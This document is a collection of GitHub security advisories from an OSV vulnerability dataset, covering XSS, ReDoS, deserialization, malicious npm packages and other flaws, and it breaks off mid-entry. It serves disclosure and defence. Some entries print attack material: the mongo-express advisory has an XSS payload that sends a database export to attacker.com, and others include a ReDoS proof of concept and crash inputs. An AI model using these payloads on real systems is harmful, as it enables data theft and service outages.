TQRG/raw-osv-data huggingface dataset:
Vulnerability: GHSA-7hwc-46rm-65jh
Summary: Denial of service in XStream
Aliases: CVE-2017-7957
Severity: HIGH
CVSS score: 7.5
CWE: CWE-20
Published: 2020-06-30T22:48:24Z

XStream through 1.4.9, when a certain denyTypes workaround is not used, mishandles attempts to create an instance of the primitive type 'void' during unmarshalling, leading to a remote application crash, as demonstrated by an xstream.fromXML("<void/>") call.
Vulnerability: GHSA-whv6-rj84-2vh2
Summary: Cross-Site Scripting in nextcloud-vue-collections
Severity: HIGH
CVSS score: 0
CWE: CWE-79
Published: 2020-09-04T17:21:58Z

Versions of `nextcloud-vue-collections` prior to 0.4.2 are vulnerable to Cross-Site Scripting (XSS).  The `v-tooltip` component has an insecure `defaultHTML` configuration that allows arbitrary JavaScript to be injected in the tooltip of a collection item. This allows attackers to execute arbitrary code in a victim's browser.


## Recommendation

Upgrade to version 0.4.2 or later.
Vulnerability: GHSA-9328-7pcw-vw69
Summary: Cross-Site Request Forgery in Moodle
Aliases: CVE-2020-1692
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-352
Published: 2022-01-06T18:34:53Z

Moodle before version 3.7.2 is vulnerable to information exposure of service tokens for users enrolled in the same course.
Vulnerability: GHSA-247x-2f9f-5wp7
Summary: Stack overflow in TensorFlow
Aliases: CVE-2022-23591
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2022-02-09T23:30:01Z

### Impact
The `GraphDef` format in TensorFlow does not allow self recursive functions. The runtime assumes that this invariant is satisfied. However, a `GraphDef` containing a fragment such as the following can be consumed when loading a `SavedModel`:

```
  library {
    function {
      signature {
        name: "SomeOp"
        description: "Self recursive op"
      }
      node_def {
        name: "1"
        op: "SomeOp"
      }
      node_def {
        name: "2"
        op: "SomeOp"
      }
    }
  } 
```

This would result in a stack overflow during execution as resolving each `NodeDef` means resolving the function itself and its nodes.

### Patches
We have patched the issue in GitHub commit [448a16182065bd08a202d9057dd8ca541e67996c](https://github.com/tensorflow/tensorflow/commit/448a16182065bd08a202d9057dd8ca541e67996c).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Vulnerability: GHSA-2xw8-j43j-5vxp
Summary: elgg is vulnerable to Cross-site Scripting
Aliases: CVE-2021-4072
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2022-01-06T21:35:42Z

elgg is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerability: GHSA-53x6-4x5p-rrvv
Summary: Denial of Service in Apache Commons Compress
Aliases: CVE-2019-12402
Severity: HIGH
CVSS score: 7.5
CWE: CWE-835
Published: 2019-10-11T18:41:08Z

The file name encoding algorithm used internally in Apache Commons Compress 1.15 to 1.18 can get into an infinite loop when faced with specially crafted inputs. This can lead to a denial of service attack if an attacker can choose the file names inside of an archive created by Compress.
Vulnerability: GHSA-p2c4-gxp4-j3xp
Summary: Denial of service in Valine
Aliases: CVE-2021-34801
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-94
Published: 2021-06-21T17:11:25Z

Valine is a fast, simple & powerful comment system. Valine 1.4.14 allows remote attackers to cause a denial of service (application outage) by supplying a ua (aka User-Agent) value that only specifies the product and version.
Vulnerability: GHSA-3xc7-xg67-pw99
Summary: Sensitive Data Exposure in sequelize-cli
Severity: LOW
CVSS score: 3.5
CWE: CWE-532
Published: 2019-06-05T20:43:10Z

Versions of `sequelize-cli` prior to 5.5.0 are vulnerable to Sensitive Data Exposure. The function `filteredURL()` does not properly sanitize the `config.password` value which may cause passwords with special characters to be logged in plain text.


## Recommendation

Upgrade to version 5.5.0 or later.
Vulnerability: GHSA-9cwv-cppx-mqjm
Summary: Improper Authentication in Capsule Proxy
Aliases: CVE-2022-23652
Severity: HIGH
CVSS score: 8.8
CWE: CWE-287
Published: 2022-02-23T21:17:25Z

### Impact

Using a malicious `Connection` header, an attacker with a proper authentication mechanism could start a privilege escalation towards the Kubernetes API Server, being able to exploit the `cluster-admin` Role bound to `capsule-proxy`.

### Patches

Patch has been merged in the v0.2.1 release.

### Workarounds

Upgrading is mandatory.
Vulnerability: GHSA-399h-cmvp-qgx5
Summary: Incorrect Default Permissions in Binance tss-lib
Aliases: CVE-2020-12118
Severity: HIGH
CVSS score: 7.2
CWE: CWE-276
Published: 2021-06-29T21:32:11Z

The keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties.
Vulnerability: GHSA-jpwx-ffjq-wr4w
Summary: Content object state fetch functions open to SQL injection
Severity: HIGH
CVSS score: 0
CWE: CWE-89
Published: 2021-09-07T22:54:23Z

### Impact
This Security Update is about a vulnerability in eZ Publish Legacy. The content object state code could be vulnerable to SQL injection. There is no known exploit, but one might be possible. If you use Legacy in any way, we strongly recommend that you install this update as soon as possible.

### Patches
The fix is distributed via Composer, see "Patched versions".
Vulnerability: GHSA-6jmh-9gqm-5xrx
Summary: Cross-Site Request Forgery (CSRF) in livehelperchat
Aliases: CVE-2022-0226
Severity: MODERATE
CVSS score: 4.3
CWE: CWE-352
Published: 2022-01-26T20:21:03Z

A CSRF issue is found in the audit configuration under settings. It was found that no CSRF token validation is getting done on the server-side. If we remove the CSRF token and keep the CSRF token field empty, the action is getting performed.
Vulnerability: GHSA-g8hw-794c-4j9g
Summary: Moderate severity vulnerability that affects org.springframework:spring-core
Aliases: CVE-2018-1271
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-22
Published: 2018-10-17T20:07:03Z

Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
Vulnerability: GHSA-2m34-jcjv-45xf
Summary: XSS in Django
Aliases: CVE-2020-13596
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2020-06-05T16:24:28Z

An issue was discovered in Django 2.2 before 2.2.13 and 3.0 before 3.0.7. Query parameters generated by the Django admin ForeignKeyRawIdWidget were not properly URL encoded, leading to a possibility of an XSS attack.
Vulnerability: GHSA-4f6x-49g2-99fm
Summary: Cross-site Scripting in Mermaid
Aliases: CVE-2021-35513
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2021-12-10T18:57:41Z

Mermaid before 8.11.0 allows XSS when the antiscript feature is used.
Vulnerability: GHSA-vxh3-mvv7-265j
Summary: Cross-site scripting invenio-records
Aliases: CVE-2019-1020003
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2019-07-16T00:52:15Z

## Cross-Site Scripting (XSS) vulnerability in administration interface

### Impact
A Cross-Site Scripting (XSS) vulnerability was discovered when rendering JSON for a record in the administration interface. The vulnerability could be exploited by e.g. a user who had access to upload a new record, that an admin user would then later view in the admin interface.

### Patches
All supported versions of Invenio-Records have been patched. You should upgrade to either v1.0.1, v1.1.1 or v1.2.2

### For more information
If you have any questions or comments about this advisory:
* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)
Vulnerability: GHSA-rm7f-mpcj-w4f6
Summary: Command injection in Apache Unomi
Aliases: CVE-2021-31164
Severity: HIGH
CVSS score: 7.5
CWE: CWE-74
Published: 2021-06-16T17:17:24Z

Apache Unomi prior to version 1.5.5 allows CRLF log injection because of the lack of escaping in the log statements.
Vulnerability: GHSA-jcw8-r9xm-32c6
Summary: Command Injection in dns-sync
Aliases: CVE-2017-16100
Severity: CRITICAL
CVSS score: 0
CWE: CWE-94
Published: 2018-07-18T18:28:02Z

Affected versions of `dns-sync` have an arbitrary command execution vulnerability in the `resolve()` method. 



## Recommendation

- Use an alternative dns resolver
- Do not allow untrusted input into `dns-sync.resolve()`
Vulnerability: GHSA-7g7r-gr46-q4p5
Summary: Cross-Site Request Forgery in yetiforce
Aliases: CVE-2022-0269
Severity: HIGH
CVSS score: 8
CWE: CWE-352
Published: 2022-01-27T16:21:33Z

Versions of yetiforce 6.3.0 and prior are subject to privilege escalation via a cross site request forgery bug. This allows an attacker to create a new admin account even with SameSite: Strict enabled. This vulnerability can be exploited by any user on the system including guest users.
Vulnerability: GHSA-4xf9-pgvv-xx67
Summary: Regular Expression Denial of Service in simple-markdown
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-400
Published: 2020-09-03T20:27:46Z

Versions of `simple-markdown` prior to 0.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS). The `SimpleMarkdown.defaultInlineParse()` function has significantly degraded performance when parsing inline code blocks.


## Recommendation

Upgrade to version 0.5.2 or later.
Vulnerability: GHSA-c3cw-c387-pj65
Summary: Double free in crossbeam
Aliases: CVE-2018-20996
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-415
Published: 2021-08-25T20:43:21Z

An issue was discovered in the crossbeam crate before 0.4.1 for Rust. There is a double free because of destructor mishandling.
Vulnerability: GHSA-pj7m-g53m-7638
Summary: Moderate severity vulnerability that affects bootstrap
Aliases: CVE-2018-14041
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2018-09-13T15:49:56Z

In Bootstrap before 4.1.2, XSS is possible in the data-target property of scrollspy. This is similar to CVE-2018-14042.
Vulnerability: GHSA-4r3m-j6x5-48m3
Summary: Cross Site Scripting(XSS) Vulnerability in Latest Release 4.3.6 Site basic settings
Aliases: CVE-2020-15155
Severity: LOW
CVSS score: 7.3
CWE: CWE-79
Published: 2020-08-28T21:20:42Z

baserCMS 4.3.6 and earlier is affected by Cross Site Scripting (XSS) via arbitrary script execution. Admin access is required to exploit this vulnerability. The affected components is toolbar.php. The issue is fixed in version 4.3.7.
Vulnerability: GHSA-p6h9-gw49-rqm4
Summary: Moderate severity vulnerability that affects markdown2
Aliases: CVE-2018-5773
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2018-07-12T20:29:21Z

An issue was discovered in markdown2 (aka python-markdown2) through 2.3.5. The safe_mode feature, which is supposed to sanitize user input against XSS, is flawed and does not escape the input properly. With a crafted payload, XSS can be triggered, as demonstrated by omitting the final '>' character from an IMG tag.
Vulnerability: GHSA-qxxx-2pp7-5hmx
Summary: A deserialization flaw was discovered in the jackson-databind
Aliases: CVE-2017-7525
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-184, CWE-502
Published: 2018-10-16T17:21:35Z

A deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.
Vulnerability: GHSA-qrmm-w4v4-q7f8
Summary: Unauthorized access through URL manipulation
Severity: HIGH
CVSS score: 0
CWE: CWE-552
Published: 2021-05-06T15:27:22Z

### Impact
The vulnerability allows attackers to gain unauthorized access to information on the system through URL manipulation.

### Patches
The vulnerability has been patched in version 1.2.65 of the `master` branch, version 1.1.113 of the 1.1.x series, and version 1.0.12 of the `stable` branch. The Docker image on docker.io has been patched.

### Workarounds
If upgrading is not possible, manually apply the changes of https://github.com/jhpyle/docassemble/commit/e3dbf6ce054b3c0310996f0657289f5eed0a73fe and restart the server (e.g., by pressing Save on the Configuration screen).

### Credit
The vulnerability was discovered by Jim Platania of Seiso LLC (@jimmio).

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [docassemble](https://github.com/jhpyle/docassemble/issues)
* Join the [Slack channel](https://join.slack.com/t/docassemble/shared_invite/zt-ohrn8y9z-_Fb3RAl~JPBU6Km7odBPfQ)
* Email us at [jhpyle@gmail.com](mailto:jhpyle@gmail.com)
Vulnerability: GHSA-c92m-rrrc-q5wf
Summary: High severity vulnerability that affects safemode
Aliases: CVE-2016-3693
Severity: HIGH
CVSS score: 8.1
CWE: CWE-200
Published: 2017-10-24T18:33:35Z

The Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.
Vulnerability: GHSA-8whr-v3gm-w8h9
Summary: Command Injection in node-rules
Severity: HIGH
CVSS score: 8.1
CWE: CWE-78
Published: 2020-09-03T15:51:04Z

Versions of `node-rules` prior to 5.0.0 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `eval` call when using the `fromJSON` function. This may allow attackers to execute arbitrary code in the system if the rules are user-controlled.


## Recommendation

Upgrade to version 5.0.0 or later.
Vulnerability: GHSA-v52p-hfjf-wg88
Summary: Division by zero in TFLite's implementation of `SpaceToBatchNd`
Aliases: CVE-2021-29597
Severity: LOW
CVSS score: 2.5
CWE: CWE-369
Published: 2021-05-21T14:27:54Z

### Impact
The implementation of the `SpaceToBatchNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/412c7d9bb8f8a762c5b266c9e73bfa165f29aac8/tensorflow/lite/kernels/space_to_batch_nd.cc#L82-L83):

```cc
TF_LITE_ENSURE_EQ(context, final_dim_size % block_shape[dim], 0);
output_size->data[dim + 1] = final_dim_size / block_shape[dim];
```

An attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.

### Patches
We have patched the issue in GitHub commit [6d36ba65577006affb272335b7c1abd829010708](https://github.com/tensorflow/tensorflow/commit/6d36ba65577006affb272335b7c1abd829010708).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Vulnerability: GHSA-r626-fc64-3q28
Summary: Data race in abox
Aliases: CVE-2020-36441
Severity: HIGH
CVSS score: 8.1
CWE: CWE-119, CWE-362
Published: 2021-08-25T20:59:06Z

An issue was discovered in the abox crate before 0.4.1 for Rust. 

Affected versions of this crate implements `Send`/`Sync` for `AtomicBox<T>` without requiring `T: Send`/`T: Sync`. This allows to create data races to `T: !Sync` and send `T: !Send` to another thread.

Such behavior breaks the compile-time thread safety guarantees of Rust, and allows users to incur undefined behavior using safe Rust (e.g. memory corruption from data race).

The flaw was corrected in commit 34c2b9e by adding trait bound `T: Send` to `Send` impl for `AtomicBox<T>` and trait bound `T: Sync` to `Sync` impl for `AtomicBox<T>`.
Vulnerability: GHSA-g5q2-fcg9-j526
Summary: Malicious Package in hsf-clients
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T17:40:18Z

All versions of `hsf-clients` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.


## Recommendation

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Vulnerability: GHSA-hrpp-f84w-xhfg
Summary: Outdated Static Dependency in vue-moment
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-1104
Published: 2020-09-04T16:55:06Z

Versions of `vue-moment` prior to 4.1.0 contain an Outdated Static Dependency. The package depends on `moment` and has it loaded statically instead of as a dependency that can be updated. It has `moment@2.19.1` that contains a Regular Expression Denial of Service vulnerability.


## Recommendation

Upgrade to version 4.1.0 or later.
Vulnerability: GHSA-34p9-f4q3-c4r7
Summary: Improper Certificate Validation in openssl
Aliases: CVE-2016-10931
Severity: HIGH
CVSS score: 8.1
CWE: CWE-295
Published: 2021-08-25T20:43:11Z

An issue was discovered in the openssl crate before 0.9.0 for Rust. There is an SSL/TLS man-in-the-middle vulnerability because certificate verification is off by default and there is no API for hostname verification.
Vulnerability: GHSA-6v7w-535j-rq5m
Summary: Moderate severity vulnerability that affects org.springframework:spring-core
Aliases: CVE-2015-3192
Severity: MODERATE
CVSS score: 5.5
CWE: CWE-119
Published: 2018-10-17T20:29:12Z

Pivotal Spring Framework before 3.2.14 and 4.x before 4.1.7 do not properly process inline DTD declarations when DTD is not entirely disabled, which allows remote attackers to cause a denial of service (memory consumption and out-of-memory errors) via a crafted XML file.
Vulnerability: GHSA-whrh-9j4q-g7ph
Summary: CSRF Vulnerability in polaris-website
Severity: MODERATE
CVSS score: 6.8
CWE: CWE-352
Published: 2020-08-05T21:43:19Z

### Impact
CSRF vulnerability:
In some very specific circumstances, an attacker would be able to update your settings.
Basically you would need to navigate to hackersite.com while logged into our panel. Then they could modify your settings. They couldn't check if it worked, nor could they read your settings.

### Patches
As of v1.1.1 this has been patched by implementing the Double submit pattern using a cookie.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Polaris-React](https://github.com/polaris-rbx/polaris-react)
* Email us at [hi@nezto.re](mailto:hi@nezto.re)
* Join our discord (preferred): https://discord.gg/QevWabU
Vulnerability: GHSA-rvfc-g8j5-9ccf
Summary: Generation of Error Message Containing Sensitive Information in keybloack
Aliases: CVE-2020-1717
Severity: MODERATE
CVSS score: 2.7
CWE: CWE-209
Published: 2022-02-09T00:59:06Z

A flaw was found in Keycloak 7.0.1. A logged in user can do an account email enumeration attack.
Vulnerability: GHSA-fpj7-9xm6-8hgr
Summary: Observable Discrepancy and Observable Timing Discrepancy in Jenkins Configuration as Code Plugin
Aliases: CVE-2022-23106
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-208, CWE-203
Published: 2022-01-21T23:38:30Z

Jenkins Configuration as Code Plugin 1.55 and earlier used a non-constant time comparison function when validating an authentication token allowing attackers to use statistical methods to obtain a valid authentication token.
Vulnerability: GHSA-qr95-4mq5-r3fh
Summary: Phar unserialization vulnerability in phpMussel
Aliases: CVE-2020-4043
Severity: HIGH
CVSS score: 7.7
CWE: CWE-502
Published: 2020-06-10T19:40:30Z

### Impact
_What kind of vulnerability is it? Who is impacted?_

Anyone using >= v1.0.0 < v1.6.0.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Yes. Upgrading to at least >= v1.6.0 will resolve the problem (though upgrading to v2, which is the current major version, would be preferable, seeing as v1 is kind of old now and will most likely be marked as EoL when v3 is released in the near future).

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Yes. In the package's configuration, disable archive checking by setting `check_archives` to `false` (thus avoiding execution of the affected parts of the codebase entirely).

### References
_Are there any links users can visit to find out more?_

Yes. The vulnerability is documented at [SECURITY.md](https://github.com/phpMussel/phpMussel/security/policy) and also at [#167](https://github.com/phpMussel/phpMussel/issues/167).

### For more information
If you have any questions or comments about this advisory:
* Comment at the issue linked to this advisory, or..
* Contact [the package author](https://github.com/Maikuolan) ([082e6bc1046fab95](https://peegeepee.com/046FAB95)).
Vulnerability: GHSA-pqqp-xmhj-wgcw
Summary: Data race in crossbeam-deque
Aliases: CVE-2021-32810
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-362
Published: 2021-08-25T21:01:15Z

### Impact

In the affected version of this crate, the result of the race condition is that one or more tasks in the worker queue can be popped twice instead of other tasks that are forgotten and never popped. If tasks are allocated on the heap, this can cause double free and a memory leak. If not, this still can cause a logical bug.

Crates using `Stealer::steal`, `Stealer::steal_batch`, or `Stealer::steal_batch_and_pop` are affected by this issue.

### Patches

This has been fixed in crossbeam-deque 0.8.1 and 0.7.4.

### Credits

This issue was reported and fixed by Maor Kleinberger.
Vulnerability: GHSA-pp4v-55vr-9gxh
Summary: Regular Expression Denial of Service in riot-compiler
Aliases: CVE-2016-10527
Severity: MODERATE
CVSS score: 0
CWE: CWE-400
Published: 2019-02-18T23:39:13Z

Affected versions of `riot-compiler` are susceptible to a regular expression denial of service vulnerability.


## Recommendation

Update to version 2.3.22 or later.
Vulnerability: GHSA-v4rh-8p82-6h5w
Summary: Regular expression denial of service in url-regex
Aliases: CVE-2020-7661
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2020-06-22T14:39:03Z

all versions of url-regex are vulnerable to Regular Expression Denial of Service. An attacker providing a very long string in String.test can cause a Denial of Service.
Vulnerability: GHSA-x3v4-pxvm-63j8
Summary: HTTP Request Smuggling in reel
Aliases: CVE-2020-7659
Severity: MODERATE
CVSS score: 7.5
CWE: CWE-444
Published: 2021-05-24T18:13:36Z

reel through 0.6.1 allows Request Smuggling attacks due to incorrect Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not maintained any more.
Vulnerability: GHSA-2ccw-7px8-vmpf
Summary: Open Redirect in Flask-AppBuilder
Aliases: CVE-2022-24776
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-601
Published: 2022-03-25T19:27:39Z

Flask-AppBuilder is an application development framework built on top of Flask. Versions prior to 3.4.5 contain an open redirect vulnerability when using the database authentication login page. There are no known workarounds. Users are recommended to upgrade to version 3.4.5 or later.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Flask-AppBuilder](https://github.com/dpgaspar/Flask-AppBuilder)
Vulnerability: GHSA-cg54-gpgr-4rm6
Summary: user-readable api tokens in systemd units for JupyterHub
Aliases: CVE-2020-26261
Severity: HIGH
CVSS score: 7.9
CWE: CWE-668
Published: 2020-12-09T16:27:43Z

### Impact
user API tokens issued to single-user servers are specified in the environment of systemd units, which are accessible to all users.

In particular, the-littlest-jupyterhub is affected, which uses systemdspawner by default.

### Patches
Patched in jupyterhub-systemdspawner v0.15

### Workarounds
No workaround other than upgrading systemdspawner to 0.15

### For more information

If you have any questions or comments about this advisory:
* Open a thread in [the Jupyter forum](https://discourse.jupyter.org)
* Email us at [security@ipython.org](mailto:security@ipython.org)
Vulnerability: GHSA-7p8h-86p5-wv3p
Summary: Cross-site scripting
Aliases: CVE-2021-21422
Severity: HIGH
CVSS score: 8.1
CWE: CWE-79
Published: 2021-06-28T17:18:04Z

Two kinds of XSS were found:

1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.



### Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
```JSON
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }
```
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

### Patches
Upgrade to  `v1.0.0-alpha.4`

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)
* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)
Vulnerability: GHSA-4448-rc82-fcr7
Summary: Path Traversal in serve-here.js
Aliases: CVE-2019-5444
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-22
Published: 2021-09-22T18:40:57Z

Versions of serve-here.js prior to 1.2.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.
Vulnerability: GHSA-j229-2h63-rvh9
Summary: Improper Authentication for Keycloak
Aliases: CVE-2020-1718
Severity: MODERATE
CVSS score: 8.8
CWE: CWE-287
Published: 2022-02-09T00:59:32Z

A flaw was found in the reset credential flow in all Keycloak versions before 8.0.0. This flaw allows an attacker to gain unauthorized access to the application.
Vulnerability: GHSA-4873-36h9-wv49
Summary: Out-of-bounds read/write and invalid free with `externref`s and GC safepoints in Wasmtime 
Aliases: CVE-2021-39218
Severity: MODERATE
CVSS score: 6.3
CWE: CWE-590, CWE-787, CWE-125
Published: 2021-09-20T19:54:16Z

### Impact

There was an invalid free and out-of-bounds read and write bug when running Wasm that uses `externref`s in Wasmtime.

To trigger this bug, Wasmtime needs to be running Wasm that uses `externref`s, the host creates non-null `externrefs`, Wasmtime performs a garbage collection (GC), and there has to be a Wasm frame on the stack that is at a GC safepoint where

* there are no live references at this safepoint, and
* there is a safepoint with live references earlier in this frame's function.

Under this scenario, Wasmtime would incorrectly use the GC stack map for the safepoint from earlier in the function instead of the empty safepoint. This would result in Wasmtime treating arbitrary stack slots as `externref`s that needed to be rooted for GC. At the *next* GC, it would be determined that nothing was referencing these bogus `externref`s (because nothing could ever reference them, because they are not really `externref`s) and then Wasmtime would deallocate them and run `<ExternRef as Drop>::drop` on them. This results in a free of memory that is not necessarily on the heap (and shouldn't be freed at this moment even if it was), as well as potential out-of-bounds reads and writes.

Even though support for `externref`s (via the reference types proposal) is enabled by default, unless you are creating non-null `externref`s in your host code or explicitly triggering GCs, you cannot be affected by this bug.

We have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.

### Patches

This bug has been patched and users should upgrade to Wasmtime version 0.30.0.

Additionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.

### Workarounds

If you cannot upgrade Wasmtime at this time, you can avoid this bug by disabling the reference types proposal by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types)

### References

* [The Wasm reference types proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)

### For more information

If you have any questions or comments about this advisory:

* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)
* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)
Vulnerability: GHSA-3q6f-8grx-pr4v
Summary: Cross-site scripting in jspdf
Aliases: CVE-2020-7691
Severity: MODERATE
CVSS score: 6.1
CWE: CWE-79
Published: 2021-05-11T16:43:52Z

"It's possible to use nested script tags in order to bypass the filtering regex."
Vulnerability: GHSA-qf2g-q4mc-w7rr
Summary: Cross-site Scripting in Fork CMS
Aliases: CVE-2022-0145
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2022-03-25T00:00:34Z

Fork CMS prior to 5.11.1 is vulnerable to stored cross-site scripting. When uploading a new module, the description of the module can contain JavaScript code. The JavaScript code may be executed after uploading the new module and looking at the `Details` page.
Vulnerability: GHSA-j899-348x-h3rq
Summary: Malicious Package in serializes
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T19:57:54Z

This package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.


## Recommendation

Remove the package from your environment. There are no indications of further compromise.
Vulnerability: GHSA-32w7-9whp-cjp9
Summary: High severity vulnerability that affects tryton
Aliases: CVE-2018-19443
Severity: MODERATE
CVSS score: 5.9
CWE: CWE-384
Published: 2018-11-29T21:30:56Z

The client in Tryton 5.x before 5.0.1 tries to make a connection to the bus in cleartext instead of encrypted under certain circumstances in bus.py and jsonrpc.py. This connection attempt fails, but it contains in the header the current session of the user. This session could then be stolen by a man-in-the-middle.
Vulnerability: GHSA-pjmx-9xr3-82qr
Summary: ReDoS via long UserAgent header in useragent
Aliases: CVE-2017-16030
Severity: HIGH
CVSS score: 0
CWE: CWE-400
Published: 2018-07-24T19:59:13Z

Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.


## Proof of Concept
```
var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```


## Recommendation

Update to version 2.1.13 or later.
Vulnerability: GHSA-9p2w-rmx4-9mw7
Summary: Command Injection in strapi
Severity: HIGH
CVSS score: 0
CWE: CWE-77
Published: 2020-09-04T16:54:02Z

Versions of `strapi` before 3.0.0-beta.17.8 are vulnerable to Command Injection. The package fails to sanitize plugin names in the `/admin/plugins/install/` route. This may allow an authenticated attacker with admin privileges to run arbitrary commands in the server.


## Recommendation

Upgrade to version 3.0.0-beta.17.8 or later
Vulnerability: GHSA-m5p4-7wf9-6w99
Summary: Malicious Package in regenrator
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-01T21:10:53Z

All versions of `regenrator` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.


## Recommendation

This package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.
Vulnerability: GHSA-43jj-2rwc-2m3f
Summary: Broken access control on files
Aliases: CVE-2019-14273
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-552
Published: 2020-07-15T17:38:04Z

In SilverStripe assets 4.0, there is broken access control on files.
Vulnerability: GHSA-8jjf-w7j6-323c
Summary: Authentication Bypass in samlify
Aliases: CVE-2017-1000452
Severity: HIGH
CVSS score: 7.5
CWE: CWE-91
Published: 2018-01-04T21:03:33Z

Versions of `samlify` prior to 2.4.0 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.


## Recommendation

Upgrade to version 2.4.0 or later
Vulnerability: GHSA-49q3-8867-5wmp
Summary: Remote Command Execution in reg-keygen-git-hash-plugin
